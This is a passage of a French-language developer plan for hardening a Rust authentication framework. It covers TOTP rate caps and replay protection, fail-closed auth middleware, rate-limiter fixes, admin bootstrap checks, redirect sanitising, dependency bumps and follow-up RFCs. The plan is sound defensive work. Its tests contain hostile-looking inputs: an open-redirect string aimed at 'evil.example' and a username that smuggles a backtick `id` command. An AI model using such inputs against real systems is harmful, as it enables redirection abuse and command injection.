324 + assert!(jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE"));
325 +}
326 +
327 +#[test]
328 +fn accepts_passphrase_containing_change_me() {
329 + assert!(!jwt_secret_is_placeholder(
330 + "my-change-me-not-secret-passphrase-2026xxxx"
331 + ));
332 +}
333 +
334 +#[test]
335 +fn accepts_random_hex_64() {
336 + assert!(!jwt_secret_is_placeholder(
337 + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
338 + ));
339 +}
340 +```
341 +
342 +**Pas de `contains` en 1.0.1** (changement de défaut §2 + faux positifs). Égalité exacte seulement.
343 +
344 +`AuthConfig::from_env` appelle `jwt_secret_is_placeholder` puis le check de longueur.
345 +
346 +- [ ] **Step 2: Run test to verify it fails**
347 +
348 +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests -- --nocapture`
349 +
350 +Expected: FAIL — `rejects_cli_placeholder` (le placeholder fait 36 chars, `==` sur 4 littéraux ne matche pas).
351 +
352 +- [ ] **Step 3: Write minimal implementation**
353 +
354 +Remplacer le bloc `KNOWN_EXAMPLES` par les 5 littéraux (4 historiques + CLI). `from_env` :
355 +
356 +```rust
357 +if jwt_secret_is_placeholder(&jwt_secret) {
358 + return Err(
359 + "JWT_SECRET is set to a known example value. Please generate a unique secret \
360 + (e.g., `openssl rand -hex 32`)."
361 + .to_string(),
362 + );
363 +}
364 +```
365 +
366 +Dans `tools/rustwarden-cli/src/templates.rs` :
367 +- JWT (l.611) : commenter / vider, pointer `openssl rand -hex 32`
368 +- `ADMIN_PASSWORD` (l.634) : **même traitement** — le placeholder `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` échoue `PasswordRules` (pas de minuscule) et, après Task 8, empêche le premier boot. Le wizard écrit déjà un mot fort dans `.env` (`start_project.rs`). Le `.env.example` doit soit omettre `ADMIN_PASSWORD`, soit documenter « généré au bootstrap si vide ».
369 +
370 +Ajouter `AdminConfig` : si `ADMIN_PASSWORD` est exactement `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ou `password`, `validate()` échoue (égalité exacte, comme JWT).
371 +
372 +- [ ] **Step 4: Run tests**
373 +
374 +Run: `cargo test -p rustwarden-core --lib jwt_secret_tests`
375 +
376 +Expected: PASS. Conserver les 4 littéraux historiques.
377 +
378 +- [ ] **Step 5: Commit** (seulement si l’utilisateur le demande)
379 +
380 +---
381 +
382 +### Task 2 : Plafond global TOTP (E-3)
383 +
384 +**Files:**
385 +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:18` (constante) et `:285-300`
386 +- Test: `totp_service.rs` module `tests` (étendre) **et** test d’intégration DB si un harness existe (`crates/rustwarden-core/tests/`)
387 +
388 +Constante nouvelle :
389 +
390 +```rust
391 +/// Cap of *summed* challenge attempts per user over 15 minutes.
392 +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15;
393 +```
394 +
395 +Comportement actuel (`totp_service.rs:289-300`) :
396 +
397 +```rust
398 +.filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS))
399 +// puis recent_failed.len() >= 3
400 +```
401 +
402 +Un attaquant s’arrête à 4 essais, redemande un challenge, à l’infini.
403 +
404 +- [ ] **Step 1: Failing test (logique pure extractable)**
405 +
406 +Si le harness DB d’intégration n’est pas trivial à câbler dans cette tâche, extraire :
407 +
408 +```rust
409 +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool {
410 + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW
411 +}
412 +
413 +#[test]
414 +fn four_challenges_of_four_attempts_are_blocked() {
415 + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16
416 +}
417 +
418 +#[test]
419 +fn fourteen_attempts_still_allowed() {
420 + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14
421 +}
422 +```
423 +
424 +Puis dans `create_challenge`, remplacer le filtre `attempts >= 5` par un chargement des challenges 15 min et `totp_window_exceeded(rows.iter().map(|r| r.attempts))`.
425 +
426 +Garder **aussi** `MAX_CHALLENGE_ATTEMPTS = 5` par challenge (défense en profondeur).
427 +
428 +- [ ] **Step 2: Run — expected FAIL** (helper pas encore branché / test d’intégration rouge si on teste `create_challenge` réel)
429 +
430 +- [ ] **Step 3: Implementation**
431 +
432 +```rust
433 +pub async fn create_challenge(
434 + db: &DatabaseConnection,
435 + user_id: Uuid,
436 +) -> Result<String, AppError> {
437 + let recent_cutoff = Utc::now() - Duration::minutes(15);
438 + let recent = totp_challenge::Entity::find()
439 + .filter(totp_challenge::Column::UserId.eq(user_id))
440 + .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff))
441 + .all(db)
442 + .await?;
443 +
444 + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) {
445 + tracing::warn!(%user_id, "TOTP global attempt cap reached");
446 + return Err(AppError::TotpMaxAttemptsExceeded);
447 + }
448 + // ... insert inchangé
449 +}
450 +```
451 +
452 +Pas de SQL brut : SeaORM `find` + somme Rust (principe constitution).
453 +
454 +**Anti-rejeu in-process (ferme D en 1.0.1, pas de RFC) :** `verify_totp_code` est privée (`totp_service.rs:395`). Introduire `pub(crate) fn matching_totp_step(secret, code) -> Option<u64>` (step courant ± skew 1). Cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>` TTL 90 s. Si `(user_id, step)` déjà vu → `false` (même sémantique qu’un code invalide, pas d’oracle). Purge opportuniste des Instant expirés à chaque insert.
455 +
456 +```rust
457 +#[test]
458 +fn same_step_replay_is_rejected() {
459 + let uid = Uuid::nil();
460 + assert!(totp_replay_guard_accept(uid, 42));
461 + assert!(!totp_replay_guard_accept(uid, 42));
462 + assert!(totp_replay_guard_accept(uid, 43));
463 +}
464 +```
465 +
466 +RFC 0037 persistera `last_used_step`. **Non-goal :** un relais Evilginx live (code présenté une seule fois) n’est arrêté ni ici ni par 0037.
467 +
468 +- [ ] **Step 4: `cargo test -p rustwarden-core --lib totp`** — PASS
469 +
470 +---
471 +
472 +### Task 3 : 2FA sous le même layer
473 +
474 +**Absorbe par Task 0.** `verify_2fa` est déjà monté (`auth/routes.rs:62`). Aucune modification de `handlers.rs`.
475 +
476 +- [ ] **Step 1:** Le test MockConnectInfo Task 0 Step 4 inclut `POST /api/v1/auth/2fa/verify` : 11e appel même IP → 429.
477 +
478 +---
479 +
480 +### Task 4 : Fail-closed force-2FA **et** lookup user / blacklist
481 +
482 +**Files:**
483 +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs` l.232-235, l.284, l.327-333
484 +
485 +`AuthService::call` : `Error = S::Error`. **Interdit** `.await?` sur `AppError`. Patron l.208-215 : `Ok((StatusCode::…, …).into_response())`.
486 +
487 +Trois fail-open à fermer ensemble (Principe 3) :
488 +
489 +1. `is_totp_enabled(...).unwrap_or(false)` (l.328-333) — déjà identifié.
490 +2. `if let Ok(Some(user_model)) = find_by_id(...).await` (l.284) : `Err` **et** `Ok(None)` sautent tout le bloc (2FA, `must_change_password`) puis la requête continue authentifiée. Un user supprimé + JWT encore valide traverse.
491 +3. `JwtBlacklistService::is_blacklisted(...).is_ok_and(|b| b)` (l.232-235) fail-open sur erreur DB, alors que la branche optionnelle (l.384) utilise `.unwrap_or(true)` (fail-closed).
492 +
493 +```rust
494 +match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await {
495 + Ok(true) | Err(_) => {
496 + return Ok(auth_failure_response(&auth_config, &uri));
497 + }
498 + Ok(false) => {}
499 +}
500 +
501 +match user::Entity::find_by_id(user_id).one(&db).await {
502 + Err(e) => {
503 + tracing::error!(%user_id, error = %e, "user lookup failed (fail-closed)");
504 + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error").into_response());
505 + }
506 + Ok(None) => return Ok(auth_failure_response(&auth_config, &uri)),
507 + Ok(Some(user_model)) => { /* must_change + totp_force, match is_totp_enabled */ }
508 +}
509 +```
510 +
511 +TOTP lookup Err → 503 :
512 +
513 +```rust
514 +if totp_force_enabled {
515 + match TotpService::is_totp_enabled(&db, user_id).await {
516 + Ok(true) => { /* continue */ }
517 + Ok(false) => {
518 + return Ok(Redirect::to("/settings/security?force_2fa=true").into_response());
519 + }
520 + Err(e) => {
521 + tracing::error!(%user_id, error = %e, "TOTP status lookup failed (fail-closed)");
522 + return Ok((
523 + StatusCode::SERVICE_UNAVAILABLE,
524 + "Internal server error",
525 + )
526 + .into_response());
527 + }
528 + }
529 +}
530 +```
531 +
532 +Setting `totp_force_enabled` `unwrap_or(false)` (l.325) inchangé (défaut « 2FA non forcé » si settings illisibles).
533 +
534 +Test : `map_user_lookup` (3 branches lookup) + `totp_force_gate(result) -> TotpGate { Allow, RedirectSetup, Unavailable }` (3 branches 2FA). Pas de test HTTP qui traverse tout le `Service::call` en 1.0.1 (harness middleware lourd) ; le grep de vérif finale + ces helpers unitaires **sont** le critère 8.
535 +
536 +---
537 +
538 +### Task 5 : Backup codes en `spawn_blocking` (M-8)
539 +
540 +**Files:**
541 +- Modify: `crates/rustwarden-core/src/services/totp_service.rs:190-197`
542 +- Pattern : `crates/rustwarden-core/src/services/password_service.rs:69-79`
543 +
544 +- [ ] **Step 1: Failing test** — test async qui appelle `verify_backup_code` (nécessite DB + CryptoService). Si trop lourd, tester un helper :
545 +
546 +```rust
547 +async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> {
548 + tokio::task::spawn_blocking(move || bcrypt::verify(&code, &hashed).unwrap_or(false))
549 + .await
550 + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))
551 +}
552 +```
553 +
554 +- [ ] **Step 2: Implementation** — extraire la boucle bcrypt hors du runtime :
555 +
556 +```rust
557 +let hashed_codes_clone = hashed_codes.clone();
558 +let code_owned = code.to_string();
559 +let found_index = tokio::task::spawn_blocking(move || {
560 + let mut found = None;
561 + for (i, hashed) in hashed_codes_clone.iter().enumerate() {
562 + let matches = bcrypt::verify(&code_owned, hashed).unwrap_or(false);
563 + if matches && found.is_none() {
564 + found = Some(i);
565 + }
566 + }
567 + found
568 +})
569 +.await
570 +.map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))?;
571 +```
572 +
573 +Pas de `break` retiré : l’index qui matche n’est pas un secret (l’attaquant connaît son code). Garder le court-circuit `found_index = Some(i); break;` **à l’intérieur** du `spawn_blocking`. Objectif M-8 = ne pas bloquer le runtime, pas un bcrypt constant-time.
574 +
575 +Ne **pas** changer `bcrypt::hash` de génération (l.431) dans ce patch si c’est au setup (rare) — bonus acceptable : hasher aussi via `spawn_blocking`.
576 +
577 +---
578 +
579 +### Task 6 : Rate limiter email partagé (M-3)
580 +
581 +**Files:**
582 +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:36-41`
583 +- Modify: `crates/rustwarden-core/src/services/email_validation_service.rs:35-40`
584 +
585 +`RateLimitService` est déjà `Clone` (Arc interne, `rate_limit_service.rs:61-65`). Le bug est `RateLimitService::new()` **par requête**.
586 +
587 +- [ ] **Step 1: Failing test**
588 +
589 +```rust
590 +#[test]
591 +fn cloned_limiters_share_buckets() {
592 + let a = RateLimitService::new();
593 + let b = a.clone();
594 + for _ in 0..3 {
595 + a.check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
596 + .unwrap();
597 + }
598 + assert!(b
599 + .check_sliding_window("pwd_reset:t@x.test", 3, Duration::from_secs(3600))
600 + .is_err());
601 +}
602 +```
603 +
604 +Ce test passe déjà (Clone = Arc). Le test métier manquant :
605 +
606 +```rust
607 +#[test]
608 +fn independent_new_does_not_share() {
609 + let a = RateLimitService::new();
610 + let b = RateLimitService::new();
611 + for _ in 0..3 {
612 + a.check_sliding_window("k", 3, Duration::from_secs(3600)).unwrap();
613 + }
614 + assert!(b.check_sliding_window("k", 3, Duration::from_secs(3600)).is_ok());
615 +}
616 +```
617 +
618 +Documente *pourquoi* `new()` par requête est inerte.
619 +
620 +- [ ] **Step 2: Implementation**
621 +
622 +Dans `password_reset_service.rs` :
623 +
624 +```rust
625 +use std::sync::OnceLock;
626 +
627 +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
628 +
629 +impl PasswordResetService {
630 + pub fn new(email_config: EmailConfig) -> Self {
631 + Self {
632 + email_config,
633 + rate_limiter: PASSWORD_RESET_LIMITER
634 + .get_or_init(RateLimitService::new)
635 + .clone(),
636 + }
637 + }
638 +}
639 +```
640 +
641 +Même schéma `EMAIL_VALIDATION_LIMITER` dans `email_validation_service.rs`. **Deux** OnceLock distincts (budgets séparés, clés déjà préfixées `pwd_reset:` / `email_verify:` — séparés par prudence).
642 +
643 +Signature `new(email_config)` **inchangée** → pas de RFC.
644 +
645 +**Mitigation DoS (une seule, obligatoire) :** quand `sliding.len() >= MAX_ENTRIES` et que la clé est inconnue, **évincer la clé dont le timestamp le plus récent est le plus ancien** (LRU approximatif), puis insérer. Ne **plus** `return Err(TooManyRequests)` pour une clé neuve (c’est ça qui DoS le reset légitime). `cleanup_loop` reste de l’hygiène mémoire, pas la borne.
646 +
647 +```rust
648 +if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) {
649 + if let Some(oldest) = sliding
650 + .iter()
651 + .min_by_key(|(_, v)| v.last().copied().unwrap_or(now))
652 + .map(|(k, _)| k.clone())
653 + {
654 + sliding.remove(&oldest);
655 + }
656 +}
657 +```
658 +
659 +Spawn `cleanup_loop` **sans panic** :
660 +
661 +```rust
662 +if let Ok(handle) = tokio::runtime::Handle::try_current() {
663 + handle.spawn(limiter.clone().cleanup_loop(Duration::from_secs(300), Duration::from_secs(3600)));
664 +} else {
665 + tracing::warn!("password-reset limiter: no tokio runtime, cleanup_loop not started");
666 +}
667 +```
668 +
669 +Tests : `#[cfg(test)] pub(crate) fn new_with_limiter`. Critère : 200 000 clés distinctes injectées (ou `MAX_ENTRIES+1` dans le test avec un cap testable — si `MAX_ENTRIES` est une const 100_000, tester via un `check_sliding_window` en boucle jusqu’à `MAX_ENTRIES+10` puis une clé `legit@x.test` **acceptée**). Pour ne pas durer 10 s en CI, extraire `evict_if_full` et tester avec une map de 8 entrées / cap 8.
670 +
671 +Ordre vs Task 7 : Task 6 d’abord (constructeur), Task 7 ensuite (`reset_password`) — même fichier, pas de conflit de hunks si on sépare ctor et méthode.
672 +
673 +---
674 +
675 +### Task 7 : Complexité mot de passe dans `reset_password` (M-2)
676 +
677 +**Files:**
678 +- Modify: `crates/rustwarden-core/src/services/password_reset_service.rs:224-234`
679 +- Use: `crate::middleware::password_complexity::validate_password_complexity`
680 +
681 +Le handler API (`auth/handlers.rs:1202-1207`) valide déjà. Le service, non. Tout appel direct (admin, consommateur) contourne.
682 +
683 +**Ordre (atomicité) :** `validate_password_complexity` **immédiatement après** `validate_token` (l.231), **avant** `hash_password` (l.234) et **avant** `used_at` (l.248-257). Un mot rejeté ne doit pas consommer le token.
684 +
685 +- [ ] **Step 1: Test** — `reset_password` avec password `"a"` → `AppError::Validation`. Token encore réutilisable (`used_at` IS NULL).
686 +
687 +- [ ] **Step 2:**
688 +
689 +```rust
690 +let user_id = self.validate_token(db, token).await?;
691 +crate::middleware::password_complexity::validate_password_complexity(db, new_password).await?;
692 +let password_hash = PasswordService::hash_password(new_password).await?;
693 +```
694 +
695 +Hors 1.0.1 (trou Architect, F-AUTH) : le reset ne révoque ni PAT ni JWT d’accès (seulement refresh l.259-270). Non-goal du CHANGELOG.
696 +
697 +---
698 +
699 +### Task 8 : Bootstrap admin (F-AUTH)
700 +
701 +**Files:**
702 +- Modify: `crates/rustwarden-core/src/services/default_admin_service.rs:32-42`
703 +- Use: `AdminConfig::validate` (`config/admin.rs:36-60`) + `PasswordRules::default().validate`
704 +
705 +Aujourd’hui `ensure_default_admin` ignore `validate()`. `ADMIN_PASSWORD=password` (8 chars, minuscules) **passe** `validate()` (seulement `len >= 8`) mais **échoue** `PasswordRules::default()` (`require_uppercase` + `require_digits`).
706 +
707 +**Bloquant Architect :** ne **pas** valider aux lignes 32-42 (avant les early-return « un admin existe déjà », l.46-53). Un `.env` de prod avec `ADMIN_PASSWORD` faible *résiduel* casserait le boot alors que l’admin est déjà créé — breaking de défaut, interdit en patch. Valider **uniquement** sur le chemin de création, après l.65.
708 +
709 +- [ ] **Step 1: Tests unitaires sur `AdminConfig::validate` + `PasswordRules`** (déjà testables sans DB)
710 +
711 +```rust
712 +#[test]
713 +fn default_rules_reject_password_literal() {
714 + let rules = PasswordRules::default();
715 + assert!(rules.validate("password").is_err());
716 +}
717 +
718 +#[test]
719 +fn default_rules_accept_mixed() {
720 + let rules = PasswordRules::default();
721 + assert!(rules.validate("CorrectHorse1").is_ok());
722 +}
723 +```
724 +
725 +- [ ] **Step 2:** Dans `ensure_default_admin`, **après** `if !admins.is_empty() { return Ok(()) }` et après le skip username existant, **avant** `hash_password` :
726 +
727 +```rust
728 +config
729 + .validate()
730 + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?;
731 +crate::middleware::password_complexity::PasswordRules::default()
732 + .validate(password)
733 + .map_err(|errs| AppError::Validation(errs.join("; ")))?;
734 +```
735 +
736 +Échec = `Err` propagé **seulement** si on allait vraiment créer l’admin. `CREATE_DEFAULT_ADMIN=false` et « admin déjà présent » restent no-op.
737 +
738 +---
739 +
740 +### Task 9 : Normaliser `\` dans `sanitize_redirect` (défense en profondeur)
741 +
742 +**Files:**
743 +- Modify: `crates/rustwarden-core/src/middleware/auth_service.rs:29-36`
744 +- Test: `auth_service.rs` tests existants l.454-476
745 +
746 +**Pas un open redirect vivant** dans rustwarden-ui : `login.html` `getSafeRedirect()` exige same-origin. Priorité basse. On durcit le serveur pour les consommateurs qui lisent `?redirect=` naïvement.
747 +
748 +- [ ] **Step 1: Failing test**
749 +
750 +```rust
751 +#[test]
752 +fn sanitize_redirect_rejects_backslash_trick() {
753 + let out = sanitize_redirect("/\\evil.example", "/login");
754 + assert_eq!(out, "/login");
755 +}
756 +```
757 +
758 +- [ ] **Step 2:**
759 +
760 +```rust
761 +pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String {
762 + let path = uri.replace('\\', "/");
763 + if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') {
764 + format!("{login_path}?redirect={}", urlencoding::encode(&path))
765 + } else {
766 + login_path.to_string()
767 + }
768 +}
769 +```
770 +
771 +Après remplacement, `/\evil.example` devient `//evil.example` → rejeté par `!starts_with("//")`.
772 +
773 +---
774 +
775 +### Task 10 : Bumps deps (E-12 collatéral)
776 +
777 +**Files:**
778 +- `Cargo.lock` via `cargo update` (pas de pin `"0.19.2"` dans Cargo.toml sauf échec)
779 +
780 +Cibles audit 2026-09-17. **Stratégie lockfile :** garder `bcrypt = "0.19"` dans `Cargo.toml` (semver compatible) et `cargo update -p bcrypt -p rustls -p h2` pour forcer le lock. Ne pas pinner `"0.19.2"` dans Cargo.toml sauf si `cargo update` ne suffit pas — ça constraindra moins les consommateurs.
781 +
782 +| Crate | Actuel (lock) | Cible |
783 +|-------|---------------|-------|
784 +| bcrypt | 0.19.0 | ≥ 0.19.2 |
785 +| rustls | 0.23.37 (transitif) | ≥ 0.23.45 |
786 +| h2 | 0.4.13 (transitif) | ≥ 0.4.16 |
787 +
788 +- [ ] **Step 1:** `cargo update -p bcrypt -p rustls -p h2` (ajuster les noms de paquets lockfile).
789 +- [ ] **Step 2:** `cargo audit` — les avis RUSTSEC-2026-0199 / -0285 / -0258 doivent disparaître. `russh` n’est **pas** une dep Rustwarden (Gitrust).
790 +- [ ] **Step 3:** `cargo test --workspace` + `cargo clippy --workspace -- -D warnings`.
791 +
792 +---
793 +
794 +### Task 11 : Postgres dev bind (E-18 analogue)
795 +
796 +**Files:**
797 +- Modify: `database/docker-compose.yml:8-16`
798 +- Modify: `database/env.sample` (contient `POSTGRES_PASSWORD=change_me_in_production` — le garder comme **exemple local**, pas comme fallback compose)
799 +
800 +```yaml
801 + environment:
802 + - POSTGRES_DB=${POSTGRES_DB:-database}
803 + - POSTGRES_USER=${POSTGRES_USER:-user}
804 + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:?Set POSTGRES_PASSWORD in database/.env}
805 + # ALLOW_IP_RANGE n'est pas consommé par ce compose (pas de pg_hba custom).
806 + # Conservé en commentaire pour ne pas prétendre restreindre 0.0.0.0/0 :
807 + # - ALLOW_IP_RANGE=${ALLOW_IP_RANGE:-127.0.0.1/32}
808 + ports:
809 + - "127.0.0.1:5432:5432"
810 +```
811 +
812 +Ne plus fournir `pass3ord` en fallback. `database/.env` local (non versionné) reste la source. Documenter dans rustdoc / README la contrainte `:?`.
813 +
814 +Ceci casse `docker compose up` **sans** `.env` — c’est le but. Vérifier `README.md` § database.
815 +
816 +---
817 +
818 +### Task 12 : CHANGELOG + notice 14 jours
819 +
820 +- [ ] Entrée `## [1.0.1] - 2026-09-XX — Security`
821 +- [ ] Lister E-3, C-7, M-2, M-3, M-8, force-2FA, 2FA rate-limit, admin bootstrap, sanitize `\`, bumps, PG bind
822 +- [ ] Rappeler la fenêtre d’adoption 14 jours ([RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §9)
823 +
824 +---
825 +
826 +## Phase 1 — Rédiger les RFCs (avant tout code)
827 +
828 +Numéros libres après 0035. Suivre [docs/rfcs/0000-template.md](../rfcs/0000-template.md) : 3 alternatives min, grille 7 critères, testing plan, migration.
829 +
830 +Mettre à jour [docs/rfcs/README.md](../rfcs/README.md) index.
831 +
832 +Chaque RFC : statut `Draft` → PR `Under Review` → score ≥ 25/35 → `Accepted` → **alors seulement** Phase 2.
833 +
834 +### Task 13 : RFC 0036 — Validation charset `username`
835 +
836 +**Create:** `docs/rfcs/0036-username-charset-validation.md`
837 +
838 +**Summary :** Introduire `Username` (newtype, patron `TeamSlug`) et l’appliquer dans `UserService::create_user`, `update_profile`, `RegisterRequest`.
839 +
840 +**Règles proposées (alignées GitHub / audit M-1) :**
841 +
842 +- `^[a-z0-9-]{3,39}$`
843 +- pas de `--`, pas de `-` en tête/queue
844 +- lowercase imposé à `parse` (trim + `to_ascii_lowercase`) **ou** rejet si majuscule — **décision RFC : rejet (pas de fold silencieux)** pour éviter les collisions `Alice`/`alice`
845 +- réservés : réutiliser / étendre `TeamSlug::RESERVED` + `me`, `explore`, `robots.txt` n’est pas un username
846 +
847 +**Grandfathering :** pas de CHECK SQL sur `users.username`. Les comptes existants hors charset restent loggables. Seuls create + rename sont fermés.
848 +
849 +**API :**
850 +
851 +```rust
852 +// crates/rustwarden-core/src/types/username.rs
853 +pub struct Username(String);
854 +impl Username {
855 + pub fn parse(raw: &str) -> Result<Self, AppError> { /* ... */ }
856 + pub fn as_str(&self) -> &str { &self.0 }
857 +}
858 +```
859 +
860 +`UserService::create_user` appelle `Username::parse` **avant** insert. `RegisterRequest` garde `validator` length **et** parse.
861 +
862 +**Alternatives :** (A) newtype + parse aux frontières — retenue. (B) regex uniquement sur `RegisterRequest` — contourné par `create_user`. (C) ne rien faire — Gitrust newtype forever.
863 +
864 +**Score estimé :** Généralité 5, Stabilité 4 (rejet de payloads autrefois 200), Perf 5, Sécu 5, Complexité 4, Maintenance 5, Doc 4 → **32/35**.
865 +
866 +**Tests (après Accept) :** copier la batterie `team_slug.rs:76+` ; plus un test `create_user` DB qui refuse `` x`id`y ``.
867 +
868 +---
869 +
870 +### Task 14 : RFC 0037 — Anti-rejeu TOTP `last_used_step`
871 +
872 +**Create:** `docs/rfcs/0037-totp-last-used-step.md`
873 +
874 +**Motivation :** persister en multi-instance le garde in-process livré en 1.0.1. `totp.check_current` accepte le même code ~90 s (step 30 s, skew 1).
875 +
876 +**Non-goals :** MITM interactif (Evilginx live : le code n’est présenté qu’une fois). Changer l’algorithme / skew. Backup codes (déjà one-shot).
877 +
878 +**Quel step stocker :** ne pas stocker « now/30 ». Appeler `matching_totp_step` (Task 2) : tester step `t`, `t-1`, `t+1` (skew=1), retenir **le step qui a matché**. Sans ça, un code de la fenêtre précédente est accepté puis un second code du step courant peut passer, ou l’inverse.
879 +
880 +**Verdict concurrence :**
881 +
882 +```sql
883 +UPDATE user_totp
884 +SET last_used_step = $step
885 +WHERE user_id = $id
886 + AND (last_used_step IS NULL OR last_used_step < $step)
887 +```
888 +
889 +Succès **ssi** `rows_affected == 1`. Sinon traiter comme code invalide (pas d’oracle).
890 +
891 +**Schéma :** colonne `last_used_step BIGINT NULL` (migration SeaORM, pas de SQL applicatif).
892 +
893 +**Alternatives :** (A) colonne — retenue pour multi-instance. (B) garde in-process seul (déjà 1.0.1) — insuffisant dès 2 réplicas. (C) ne rien persister.
894 +
895 +**RFC obligatoire** : migration DB (§2). Score grille amélioré parce que le comportement est déjà garanti en simple instance.
896 +
897 +---
898 +
899 +### Task 15 : RFC 0038 — Changement d’email + revalidation
900 +
901 +**Create:** `docs/rfcs/0038-email-change-revalidation.md`
902 +
903 +**Bug actuel :** `UserService::update_profile` (`user_service.rs:190-205`) écrit `email` et conserve `email_verified`.
904 +
905 +**Proposition v1 (YAGNI, pas de table pending) :**
906 +
907 +1. Si `new_email != old` : `email_verified = false`, `email_verified_at = NULL`.
908 +2. Enqueue validation vers **la nouvelle** adresse (`EmailValidationService::send_validation_email`).
909 +3. Enqueue alerte vers **l’ancienne** (« votre email a été changé »).
910 +4. Hook existant `on_email_verified` inchangé ; nouveau warn dans `on_audit_event` si câblé.
911 +
912 +**v2 (hors RFC si score) :** table `pending_email_changes` + confirmation lien — plus sûr contre prise de contrôle, plus de schéma. La RFC doit **évaluer** v2 et peut la marquer follow-up si v1 ≥ 25/35.
913 +
914 +**Breaking :** un user « vérifié » qui change d’email perd l’accès si `validation_email_required` (voulu).
915 +
916 +---
917 +
918 +### Task 16 : RFC 0039 — `SecurityHeadersConfig` (CSP / COOP)
919 +
920 +**Create:** `docs/rfcs/0039-security-headers-config.md`
921 +
922 +**Ne pas** changer le défaut CSP dans le même train que le patch `1.0.1`.
923 +
924 +**API additive :**
925 +
926 +```rust
927 +#[derive(Clone, Debug)]
928 +pub struct SecurityHeadersConfig {
929 + pub content_security_policy: Cow<'static, str>,
930 + pub cross_origin_opener_policy: Option<Cow<'static, str>>,
931 + pub cross_origin_resource_policy: Option<Cow<'static, str>>,
932 +}
933 +
934 +impl Default for SecurityHeadersConfig {
935 + fn default() -> Self {
936 + Self {
937 + content_security_policy: Cow::Borrowed(
938 + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...",
939 + ),
940 + cross_origin_opener_policy: None, // v1 : opt-in same-origin
941 + cross_origin_resource_policy: None,
942 + }
943 + }
944 +}
945 +```
946 +
947 +Builder : `RustwardenApp::builder().security_headers(cfg)`.
948 +
949 +**Câblage (Architect) : PAS `Extension`.** Dans `app.rs:689-705`, `security_headers_middleware` est **plus externe** que les `Extension(...)`. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` y est toujours `None` sur le chemin aller. Capturer `Arc<SecurityHeadersConfig>` à la construction :
950 +
951 +```rust
952 +.layer(axum::middleware::from_fn({
953 + let cfg = headers_cfg.clone();
954 + move |req, next| {
955 + let cfg = cfg.clone();
956 + async move { security_headers_middleware(cfg, req, next).await }
957 + }
958 +}))
959 +```
960 +
961 +Même patron que le layer custom `app.rs:698`.
962 +
963 +**Phase 2 de la RFC (après Accept + Alpine CSP) :** défaut sans `'unsafe-eval'`. Référencer [PLAN_CSP_HTMX.md](PLAN_CSP_HTMX.md).
964 +
965 +**Gitrust** pourra alors retirer `SetResponseHeaderLayer::overriding`.
966 +
967 +---
968 +
969 +### Task 17 : RFC 0040 — `AuthService` honore `validation_email_required`
970 +
971 +**Create:** `docs/rfcs/0040-authenticate-user-email-verified.md`
972 +
973 +**Bug :** le check vit dans `auth/handlers.rs:318-345`, pas dans `AuthService::authenticate_user` (`services/auth_service.rs:109-121`). Gitrust (et tout SSR) qui appelle le service **contourne**.
974 +
975 +**Proposition :** déplacer le check dans `authenticate_user` (même `get_bool_with_fallback(..., ["validation_email_required", "validation_email_requise"], true)`).
976 +
977 +**Exception bootstrap :** déjà `email_verified=true` dans `default_admin_service.rs:84`. **Ne pas** re-travailler ce seed. La RFC ne fait que déplacer le check login dans `AuthService`.
978 +
979 +**E-2 :** préciser dans Non-goals / contrat : limiteur login = `check_auth_rate_limit` sur `/api/v1/auth/*`. Les apps SSR POST `/login` doivent soit appeler ce helper, soit passer par l’API. Pas de nouveau middleware browser obligatoire.
980 +
981 +---
982 +
983 +## Phase 2 — Implémenter les RFCs acceptées
984 +
985 +Une tâche par RFC, TDD, migration SeaORM uniquement (pas de SQL brut applicatif).
986 +
987 +Ordre : **0036 → 0037 → 0038 → 0040 → 0039**.
988 +
989 +Justification : 0036 ferme la cause racine username pour tous les consommateurs (Scénario A côté framework). 0037/0038/0040 ferment l’authn. 0039 est défense en profondeur UI, dépend d’Alpine.
990 +
991 +### Task 18 : Implémenter RFC 0036
992 +
993 +- [ ] Create `crates/rustwarden-core/src/types/username.rs` (copie structurelle de `team_slug.rs`)
994 +- [ ] Exporter via `types/mod.rs` + prelude
995 +- [ ] `UserService::create_user` + `update_profile` (branche username)
996 +- [ ] `RegisterRequest` : after-validate parse
997 +- [ ] Admin `CreateUserRequest` (les deux handlers)
998 +- [ ] Tests charset + reserved + grandfather (update email sans toucher username OK)
999 +- [ ] rustdoc anglais
1000 +
1001 +### Task 19 : Implémenter RFC 0037
1002 +
1003 +- [ ] Migration `m20260917_000010_totp_last_used_step.rs` + enregistrer dans le migrator
1004 +- [ ] Colonne `last_used_step: Option<i64>` sur `user_totp::Model`
1005 +- [ ] `verify` : calculer step, comparer, update conditionnel
